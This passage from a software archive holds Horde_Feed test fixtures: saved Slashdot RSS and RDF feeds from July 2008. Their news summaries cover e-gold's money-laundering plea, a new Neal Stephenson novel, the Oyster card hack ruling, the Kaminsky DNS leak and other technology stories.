    ]]>     Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-slashdot.org-index.rss0000664000175000017500000010555312653701626025245 0ustar janjan Slashdot http://slashdot.org/ News for nerds, stuff that matters en-us Copyright 1997-2008, SourceForge, Inc. All Rights Reserved. 2008-07-22T15:40:25+00:00 SourceForge, Inc. help@slashdot.org Technology hourly 1 1970-01-01T00:00+00:00 Slashdot http://s.fsdn.com/sd/topics/topicslashdot.gif http://slashdot.org/ E-gold Owners Plead Guilty To Money Laundering http://rss.slashdot.org/~r/Slashdot/slashdot/~3/342614371/article.pl Ian Lamont writes "The three owners of Internet currency service e-gold have pled guilty to money laundering in the U.S. District Court for D.C.. The service is based in the West Indies, but the directors apparently live in Florida. They haven't been sentenced yet, but potentially face decades in prison and millions in fines. In addition, the principal director posted a blog entry yesterday saying that 'criminal activity will not be tolerated,' and pledging to eliminate the loopholes that allowed money laundering to thrive on the service. He also claims that e-gold has more transaction volume in a single quarter than all of the first-generation Web currency services like Cybercash, Beenz, and Flooz completed over their lifetimes. Ironically, one of the reasons that contributed to Flooz's demise in 2001 was rampant money laundering."<p><a href="http://yro.slashdot.org/article.pl?sid=08/07/22/1434246&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/22/1434246"></a></p><p><a href="http://yro.slashdot.org/article.pl?sid=08/07/22/1434246&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=lHlzdp"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=lHlzdp" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/342614371" height="1" width="1"/> timothy 2008-07-22T14:48:00+00:00 court laundering-is-just-a-bad-word-for-privacy yro 41 41,38,29,19,6,5,3 http://yro.slashdot.org/article.pl?sid=08/07/22/1434246&from=rss Neal Stephenson's "Anathem" Due In September http://rss.slashdot.org/~r/Slashdot/slashdot/~3/342567922/article.pl Alexander Rose writes "Neal Stephenson's new novel, ANATHEM, germinated in 01999 when Danny Hillis asked him and several other contributors to sketch out their ideas of what the Millennium Clock might look like. Stephenson tossed off a quick sketch and promptly forgot about it. Five years later however, when he was between projects, the idea came back to him, and he began to explore the possibility of building a novel around it. ANATHEM is the result, and will be released on September 9th, 02008." Read Rose's complete posting for more information about the release of the book, which he describes as set "in a genre bending alt-future-retro world where mechani-punk technology meets space opera in a blend of the best of Snow Crash and the Baroque Cycle."<p><a href="http://entertainment.slashdot.org/article.pl?sid=08/07/22/1259253&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/22/1259253"></a></p><p><a href="http://entertainment.slashdot.org/article.pl?sid=08/07/22/1259253&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=0TYu30"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=0TYu30" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/342567922" height="1" width="1"/> timothy 2008-07-22T14:00:00+00:00 books not-a-moment-too-soon entertainment 74 74,72,62,40,11,4,3 http://entertainment.slashdot.org/article.pl?sid=08/07/22/1259253&from=rss Oyster Card Hack To Be Released, In Good Time http://rss.slashdot.org/~r/Slashdot/slashdot/~3/342533397/article.pl DangerFace writes "A little while ago some Dutch researchers cracked the Oyster card, meaning they could get free public transport around London. The company that makes the cards, NXP, sought and got an injunction to stop the exploit being published, but that has now been overruled by a Dutch judge. The lovely Dutch blokes are holding off from releasing the hack for the time being, to give NXP time to secure their systems."<p><a href="http://it.slashdot.org/article.pl?sid=08/07/22/1242251&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/22/1242251"></a></p><p><a href="http://it.slashdot.org/article.pl?sid=08/07/22/1242251&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=0Gw7Ca"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=0Gw7Ca" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/342533397" height="1" width="1"/> timothy 2008-07-22T13:09:00+00:00 security crackers-don't-follow-injunctions it 113 113,109,91,72,30,19,13 http://it.slashdot.org/article.pl?sid=08/07/22/1242251&from=rss TechCrunch Wants To Create an Open Source Tablet http://rss.slashdot.org/~r/Slashdot/slashdot/~3/342499265/article.pl RKo618 writes "TechCrunch announced that they are planning to design their own $200 web tablet device. Quoting: 'The idea is to turn it on, bypass any desktop interface, and go directly to Firefox running in a modified Kiosk mode that effectively turns the browser into the operating system for the device. Add Gears for offline syncing of Google docs, email, etc., and Skype for communication and you have a machine that will be almost as useful as a desktop but cheaper and more portable than any laptop or tablet PC.' The aim is for the tablet to run on modified open source software, which will be released back to the community along with the specifications for the hardware."<p><a href="http://mobile.slashdot.org/article.pl?sid=08/07/22/050233&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/22/050233"></a></p><p><a href="http://mobile.slashdot.org/article.pl?sid=08/07/22/050233&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=ytu2WI"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=ytu2WI" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/342499265" height="1" width="1"/> Soulskill 2008-07-22T12:20:00+00:00 portables i-prefer-gelcaps mobile 96 96,94,79,56,20,11,7 http://mobile.slashdot.org/article.pl?sid=08/07/22/050233&from=rss How To Encourage a Young Teen To Learn Programming? http://rss.slashdot.org/~r/Slashdot/slashdot/~3/342391626/article.pl Anonymous Hacker writes "I'm in a bit of a bind. My young teenage son is starting to get curious about computers, and in particular, programming. Now, I'm a long time kernel hacker (Linux, BSD and UNIX). I have no trouble handling some of the more obscure things in the kernel. But teaching is not something that I'm good at, by any means. Heck, I can't even write useful documentation for non-techies. So my question is: what's the best way to encourage his curiosity and enable him to learn? Now, I know there are folks out there with far better experience in this area than myself. I'd really appreciate any wisdom you can offer. I'd also be especially interested in what younger people think, in particular those who are currently in college or high school. I've shown my son some of the basics of the shell, the filesystem, and even how to do a 'Hello World' program in C. Yet, I have to wonder if this is the really the right approach. This was great when I was first learning things. And it still is for kernel hacking, and other things. But I'm concerned whether this will bore him, now that there's so much more available and much of this world is oriented towards point-n-click. What's the best way to for a young teen to get started in exploring this wonderful world of computers and learning how to program? In a *NIX environment, preferably." Whether or not you have suggestions for generating interest or teaching methods, there was probably something that first piqued your curiosity. It seems like a lot of people get into programming by just wondering how something works or what they can make it do. So, what caught your eye?<p><a href="http://ask.slashdot.org/article.pl?sid=08/07/22/0452225&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/22/0452225"></a></p><p><a href="http://ask.slashdot.org/article.pl?sid=08/07/22/0452225&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=iiGcl4"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=iiGcl4" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/342391626" height="1" width="1"/> Soulskill 2008-07-22T09:11:00+00:00 programming electroshock askslashdot 673 673,667,477,269,66,41,21 http://ask.slashdot.org/article.pl?sid=08/07/22/0452225&from=rss Consumer 3D Television Moving Forward http://rss.slashdot.org/~r/Slashdot/slashdot/~3/342266944/article.pl TheSync writes "Hollywood Reporter claims that SMPTE (the Society of Motion Picture and Television Engineers) will 'establish an industry task force to define the parameters of a mastering standard for 3D content distributed via broadcast, cable, satellite, packaged media and the Internet, and played-out on televisions, computer screens and other tethered displays.' Already, Japanese Nippon BS viewers with Hyundai 3D LCD sets can watch an hour of 3D programming daily. Even your existing DLP TV set might be 3D capable today with the addition of LCD shutter glasses." Reader DaMan1970 makes note of another developing television technology; telescopic pixel displays. "Each pixel consists of 2 opposing mirrors where the primary mirror can change shape under an applied voltage. When the pixel is off, the primary &amp; secondary mirrors are parallel &amp; reflect all of the incoming light back into the light source."<p><a href="http://tech.slashdot.org/article.pl?sid=08/07/22/0241221&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/22/0241221"></a></p><p><a href="http://tech.slashdot.org/article.pl?sid=08/07/22/0241221&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=XAdyOR"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=XAdyOR" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/342266944" height="1" width="1"/> Soulskill 2008-07-22T06:02:00+00:00 tv don't-tag-this-porn tech 88 88,86,74,59,23,9,5 http://tech.slashdot.org/article.pl?sid=08/07/22/0241221&from=rss Floating Cities On Venus http://rss.slashdot.org/~r/Slashdot/slashdot/~3/342195089/article.pl Geoffrey.landis writes "Some of you may have heard me talk about colonizing Venus. Well, for those who haven't, Universe Today is running story about floating cities on Venus. It's a reasonable alternative for space colonies &mdash; after all, the atmosphere of Venus (at about 50 km) is the most Earth-like environment in the solar system (other than Earth, of course). '50 km above the surface, Venus has air pressure of approximately 1 bar and temperatures in the 0C-50C range, a quite comfortable environment for humans. Humans wouldn't require pressurized suits when outside, but it wouldn't quite be a shirtsleeves environment. We'd need air to breathe and protection from the sulfuric acid in the atmosphere.'"<p><a href="http://science.slashdot.org/article.pl?sid=08/07/22/0040202&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/22/0040202"></a></p><p><a href="http://science.slashdot.org/article.pl?sid=08/07/22/0040202&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=XvkiIw"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=XvkiIw" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/342195089" height="1" width="1"/> Soulskill 2008-07-22T03:58:00+00:00 space brain-candy science 355 355,353,304,241,79,42,30 http://science.slashdot.org/article.pl?sid=08/07/22/0040202&from=rss Firefox's Effect On Other Browsers http://rss.slashdot.org/~r/Slashdot/slashdot/~3/342106311/article.pl An anonymous reader points out an interview with Mozilla's "evangelist," Christopher Blizzard, regarding the future of Firefox and how it affects other browsers. It's an Austrian site, so forgive the comma abuse. From derStandard: "It's sort of interesting though, part of our strategy is to make sure, that we continue making change and the indirect effect of this is that Microsoft continues to have to do releases, because if we get so far ahead that we're able to drive the platform they are not able to keep up and keep their users. I mean, we have this joke which says 'Internet Explorer 7 is the best release we ever did,' because they would not have done it, if we would have not built Firefox. And the same is true for Apple, they are doing a lot to keep up with us. Safari 3.1 is a good example, as far as we see it, the only reason they did this release was that Firefox 3 would come out and have Javascript speed which would be twice as fast as theirs, cause that's how it was before. So by pushing other people to make releases we can go on our mission to make sure the web stays healthy."<p><a href="http://tech.slashdot.org/article.pl?sid=08/07/22/0012210&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/22/0012210"></a></p><p><a href="http://tech.slashdot.org/article.pl?sid=08/07/22/0012210&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=3588NM"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=3588NM" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/342106311" height="1" width="1"/> Soulskill 2008-07-22T01:59:00+00:00 mozilla driving-the-market tech 371 371,363,306,225,79,45,32 http://tech.slashdot.org/article.pl?sid=08/07/22/0012210&from=rss Switching To Solar Power &ndash; One Month Later http://rss.slashdot.org/~r/Slashdot/slashdot/~3/342022797/article.pl ThinSkin writes "After an interesting article on solar panel installation for the home, Loyd Case at ExtremeTech has written a follow-up after about a month of normal use. Posting an $11.34 electric bill (roughly 3% of previous months), Loyd shares his experiences using solar power and how it can be fun for the geek, with computer monitoring services and power generation data. Of course, solar power isn't all fun and games, given the amount of required maintenance &mdash; even unpredictable maintenance, like wiping off accumulated ash from fires in Northern California."<p><a href="http://hardware.slashdot.org/article.pl?sid=08/07/21/2310208&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/21/2310208"></a></p><p><a href="http://hardware.slashdot.org/article.pl?sid=08/07/21/2310208&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=2DKpsw"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=2DKpsw" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/342022797" height="1" width="1"/> Soulskill 2008-07-21T23:51:00+00:00 power bright-idea hardware 499 499,494,418,320,100,55,39 http://hardware.slashdot.org/article.pl?sid=08/07/21/2310208&from=rss Kaminsky's DNS Attack Disclosed, Then Pulled http://rss.slashdot.org/~r/Slashdot/slashdot/~3/341979589/article.pl An anonymous reader writes "Reverse engineering expert Halver Flake has recently mused on Dan Kaminsky's DNS vulnerability. Apparently his musings were close enough to the mark to cause one of the Matasano team, who apparently already knew of the attack, to publish the details on the Matasano blog in a post entitled 'Reliable DNS Forgery in 2008.' The blog post has since been pulled, but evidence of it exists on Google and elsewhere. It appears only a matter of time now before the full details leak." Reader Time out contributes a link to coverage on ZDNet as well.<p><a href="http://it.slashdot.org/article.pl?sid=08/07/21/2212227&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/21/2212227"></a></p><p><a href="http://it.slashdot.org/article.pl?sid=08/07/21/2212227&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=KMUG5U"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=KMUG5U" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/341979589" height="1" width="1"/> Soulskill 2008-07-21T23:00:00+00:00 security can-of-worms it 206 206,202,168,127,49,29,19 http://it.slashdot.org/article.pl?sid=08/07/21/2212227&from=rss IT Jobs To Drop In 2009 http://rss.slashdot.org/~r/Slashdot/slashdot/~3/341958675/article.pl ruphus13 writes "A new Goldman Sachs IT report recently released states that IT jobs will be dramatically reduced in 2009, starting with contract and offshore developers. From the article: 'Sharp reductions likely in contract staff, professional services and hardware, and almost no investment in cloud computing.' The article goes on to say 'The CIOs indicated that server virtualization and server consolidation are their No. 1 and No. 2 priorities. Following these two are cost-cutting, application integration, and data center consolidation. At the bottom of the list of IT priorities are grid computing, open-source software, content management and cloud computing (called on-demand/utility computing in the survey) &mdash; less than 2% of the respondents said cloud computing was a priority.' Postulating a 'pointy haired boss' problem, an analyst goes on to say, '[Grid computing, Open Source and Cloud computing] require a technical understanding to get to their importance. I don't think C-level executives and managers have that understanding.' But they do control the paychecks ..."<p><a href="http://slashdot.org/article.pl?sid=08/07/21/2037204&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/21/2037204"></a></p><p><a href="http://slashdot.org/article.pl?sid=08/07/21/2037204&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=Ykg2GY"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=Ykg2GY" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/341958675" height="1" width="1"/> CmdrTaco 2008-07-21T22:15:00+00:00 business gonna-get-worse-before-it-gets-better mainpage 299 299,291,239,176,67,41,25 http://slashdot.org/article.pl?sid=08/07/21/2037204&from=rss NIA Brain-Computer Interface, Mind-Control Gaming http://rss.slashdot.org/~r/Slashdot/slashdot/~3/341929247/article.pl MojoKid writes "Sunnyvale-based manufacturer OCZ Technology has laid claim to being the first to bring a 'brain-computer' interface to the retail market and they have aimed it squarely at the gamer. The device is called the NIA, which is an acronym that stands for Neural Impulse Actuator. Instead of buttons, sticks, gyroscopes or motion sensors, it reads the body's natural bio-signals and translates them into commands that can be used to control PC games. This evaluation of the NIA shows the product actually works as advertised, with a little practice. It can, in some cases, offer reaction times superior to standard controllers, based on faster trigger response time, and the difference is quite noticeable and immediate."<p><a href="http://hardware.slashdot.org/article.pl?sid=08/07/21/1926251&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/21/1926251"></a></p><p><a href="http://hardware.slashdot.org/article.pl?sid=08/07/21/1926251&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=muegSL"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=muegSL" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/341929247" height="1" width="1"/> CmdrTaco 2008-07-21T21:35:00+00:00 inputdev and-it-melts-your-brain hardware 76 76,72,59,28,12,8,6 http://hardware.slashdot.org/article.pl?sid=08/07/21/1926251&from=rss 2008 Pwnie Award Nominees Announced http://rss.slashdot.org/~r/Slashdot/slashdot/~3/341897151/article.pl ruphus13 writes "The Pwnie Awards, an 'annual awards ceremony celebrating and making fun of the achievements and failures of security researchers and the wider security community' announced their 2008 nominees. From their site, 'The final list of nominees for the nine Pwnie Award categories is finally published. We've received some really good submissions and it was not an easy task to narrow them down to five nominees per category, but we hope that we've done a good job. The next step for the Pwnie Awards judges will gather in an undisclosed location prior to the award ceremony and vote on the winners.'"<p><a href="http://entertainment.slashdot.org/article.pl?sid=08/07/21/1923237&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/21/1923237"></a></p><p><a href="http://entertainment.slashdot.org/article.pl?sid=08/07/21/1923237&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=k6T7QB"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=k6T7QB" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/341897151" height="1" width="1"/> CmdrTaco 2008-07-21T20:51:00+00:00 humor my-little-pwnie entertainment 70 70,68,54,41,23,18,13 http://entertainment.slashdot.org/article.pl?sid=08/07/21/1923237&from=rss Watchmen Movie Trailer Is Out http://rss.slashdot.org/~r/Slashdot/slashdot/~3/341852963/article.pl I forgot to mention the other bit of exciting comic book movie news this week: DaSpudMan noted that the Watchmen trailer is out &mdash; from the Director of 300, which spawns mixed feelings at our office. But it looks pretty good.<p><a href="http://entertainment.slashdot.org/article.pl?sid=08/07/21/1855204&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/21/1855204"></a></p><p><a href="http://entertainment.slashdot.org/article.pl?sid=08/07/21/1855204&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=n2mTWh"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=n2mTWh" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/341852963" height="1" width="1"/> CmdrTaco 2008-07-21T19:53:00+00:00 movies stuff-to-see entertainment 236 236,232,189,145,47,22,11 http://entertainment.slashdot.org/article.pl?sid=08/07/21/1855204&from=rss Inside the Lego Factory http://rss.slashdot.org/~r/Slashdot/slashdot/~3/341809160/article.pl An anonymous reader writes "Gizmodo has a fascinating report and video tour inside the Lego factory, which is full of robots and controlled by a mainframe. 'This video shows something that very few people have had the opportunity to witness: the inside of the Lego factory, with no barriers or secrets. I filmed every step in the creation of the brick. From the raw granulate stored in massive silos to the molding machines to the gigantic storage cathedrals to the decoration and packaging warehouses, you will be able to see absolutely everything, including the most guarded secret of the company: the brick molds themselves.'"<p><a href="http://entertainment.slashdot.org/article.pl?sid=08/07/21/1716239&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/21/1716239"></a></p><p><a href="http://entertainment.slashdot.org/article.pl?sid=08/07/21/1716239&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=XDTIK6"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=XDTIK6" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/341809160" height="1" width="1"/> CmdrTaco 2008-07-21T19:05:00+00:00 toy when-i-was-a-kid-there-were-only-2-kinds-of-bricks entertainment 232 232,228,202,150,55,36,23 http://entertainment.slashdot.org/article.pl?sid=08/07/21/1716239&from=rss Search Slashdot Search Slashdot stories query http://slashdot.org/search.pl Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-slashdot.org-slashdot.rdf0000664000175000017500000002276312653701626025724 0ustar janjan Slashdot http://slashdot.org/ News for nerds, stuff that matters Slashdot http://s.fsdn.com/sd/topics/topicslashdot.gif http://slashdot.org/ E-gold Owners Plead Guilty To Money Laundering http://rss.slashdot.org/~r/Slashdot/slashdot/to/~3/342614375/article.pl <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot/to?a=vSHKVU"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot/to?i=vSHKVU" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/to/~4/342614375" height="1" width="1"/>http://yro.slashdot.org/article.pl?sid=08/07/22/1434246&from=rss Neal Stephenson's "Anathem" Due In September http://rss.slashdot.org/~r/Slashdot/slashdot/to/~3/342567955/article.pl <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot/to?a=5U5Zca"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot/to?i=5U5Zca" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/to/~4/342567955" height="1" width="1"/>http://entertainment.slashdot.org/article.pl?sid=08/07/22/1259253&from=rss Oyster Card Hack To Be Released, In Good Time http://rss.slashdot.org/~r/Slashdot/slashdot/to/~3/342533415/article.pl <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot/to?a=2CuLC9"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot/to?i=2CuLC9" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/to/~4/342533415" height="1" width="1"/>http://it.slashdot.org/article.pl?sid=08/07/22/1242251&from=rss TechCrunch Wants To Create an Open Source Tablet http://rss.slashdot.org/~r/Slashdot/slashdot/to/~3/342499277/article.pl <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot/to?a=selPsI"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot/to?i=selPsI" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/to/~4/342499277" height="1" width="1"/>http://mobile.slashdot.org/article.pl?sid=08/07/22/050233&from=rss How To Encourage a Young Teen To Learn Programming? http://rss.slashdot.org/~r/Slashdot/slashdot/to/~3/342391627/article.pl <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot/to?a=59Vq8z"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot/to?i=59Vq8z" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/to/~4/342391627" height="1" width="1"/>http://ask.slashdot.org/article.pl?sid=08/07/22/0452225&from=rss Consumer 3D Television Moving Forward http://rss.slashdot.org/~r/Slashdot/slashdot/to/~3/342266934/article.pl <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot/to?a=hKzi2S"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot/to?i=hKzi2S" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/to/~4/342266934" height="1" width="1"/>http://tech.slashdot.org/article.pl?sid=08/07/22/0241221&from=rss Floating Cities On Venus http://rss.slashdot.org/~r/Slashdot/slashdot/to/~3/342195155/article.pl <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot/to?a=swMhXa"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot/to?i=swMhXa" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/to/~4/342195155" height="1" width="1"/>http://science.slashdot.org/article.pl?sid=08/07/22/0040202&from=rss Firefox's Effect On Other Browsers http://rss.slashdot.org/~r/Slashdot/slashdot/to/~3/342106322/article.pl <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot/to?a=kJty8J"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot/to?i=kJty8J" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/to/~4/342106322" height="1" width="1"/>http://tech.slashdot.org/article.pl?sid=08/07/22/0012210&from=rss Switching To Solar Power &ndash; One Month Later http://rss.slashdot.org/~r/Slashdot/slashdot/to/~3/342022809/article.pl <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot/to?a=7TJpSt"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot/to?i=7TJpSt" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/to/~4/342022809" height="1" width="1"/>http://hardware.slashdot.org/article.pl?sid=08/07/21/2310208&from=rss Kaminsky's DNS Attack Disclosed, Then Pulled http://rss.slashdot.org/~r/Slashdot/slashdot/to/~3/341979591/article.pl <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot/to?a=IXADeu"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot/to?i=IXADeu" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/to/~4/341979591" height="1" width="1"/>http://it.slashdot.org/article.pl?sid=08/07/21/2212227&from=rss IT Jobs To Drop In 2009 http://rss.slashdot.org/~r/Slashdot/slashdot/to/~3/341958676/article.pl <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot/to?a=ZQFPrW"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot/to?i=ZQFPrW" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/to/~4/341958676" height="1" width="1"/>http://slashdot.org/article.pl?sid=08/07/21/2037204&from=rss NIA Brain-Computer Interface, Mind-Control Gaming http://rss.slashdot.org/~r/Slashdot/slashdot/to/~3/341929278/article.pl <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot/to?a=RAndg5"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot/to?i=RAndg5" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/to/~4/341929278" height="1" width="1"/>http://hardware.slashdot.org/article.pl?sid=08/07/21/1926251&from=rss 2008 Pwnie Award Nominees Announced http://rss.slashdot.org/~r/Slashdot/slashdot/to/~3/341897152/article.pl <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot/to?a=VuBvpI"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot/to?i=VuBvpI" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/to/~4/341897152" height="1" width="1"/>http://entertainment.slashdot.org/article.pl?sid=08/07/21/1923237&from=rss Watchmen Movie Trailer Is Out http://rss.slashdot.org/~r/Slashdot/slashdot/to/~3/341853000/article.pl <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot/to?a=9CFJ6s"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot/to?i=9CFJ6s" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/to/~4/341853000" height="1" width="1"/>http://entertainment.slashdot.org/article.pl?sid=08/07/21/1855204&from=rss Inside the Lego Factory http://rss.slashdot.org/~r/Slashdot/slashdot/to/~3/341809162/article.pl <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot/to?a=Nht3w0"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot/to?i=Nht3w0" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/to/~4/341809162" height="1" width="1"/>http://entertainment.slashdot.org/article.pl?sid=08/07/21/1716239&from=rss Search Slashdot Search Slashdot stories query http://slashdot.org/search.pl Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-slashdot.org-slashdot.rss0000664000175000017500000010555012653701626025754 0ustar janjan Slashdot http://slashdot.org/ News for nerds, stuff that matters en-us Copyright 1997-2008, SourceForge, Inc. All Rights Reserved. 2008-07-22T15:20:17+00:00 SourceForge, Inc. help@slashdot.org Technology hourly 1 1970-01-01T00:00+00:00 Slashdot http://s.fsdn.com/sd/topics/topicslashdot.gif http://slashdot.org/ E-gold Owners Plead Guilty To Money Laundering http://rss.slashdot.org/~r/Slashdot/slashdot/~3/342614371/article.pl Ian Lamont writes "The three owners of Internet currency service e-gold have pled guilty to money laundering in the U.S. District Court for D.C.. The service is based in the West Indies, but the directors apparently live in Florida. They haven't been sentenced yet, but potentially face decades in prison and millions in fines. In addition, the principal director posted a blog entry yesterday saying that 'criminal activity will not be tolerated,' and pledging to eliminate the loopholes that allowed money laundering to thrive on the service. He also claims that e-gold has more transaction volume in a single quarter than all of the first-generation Web currency services like Cybercash, Beenz, and Flooz completed over their lifetimes. Ironically, one of the reasons that contributed to Flooz's demise in 2001 was rampant money laundering."<p><a 